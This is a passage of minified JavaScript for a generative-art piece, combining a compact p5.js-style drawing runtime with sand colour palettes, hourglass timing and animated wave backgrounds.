function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
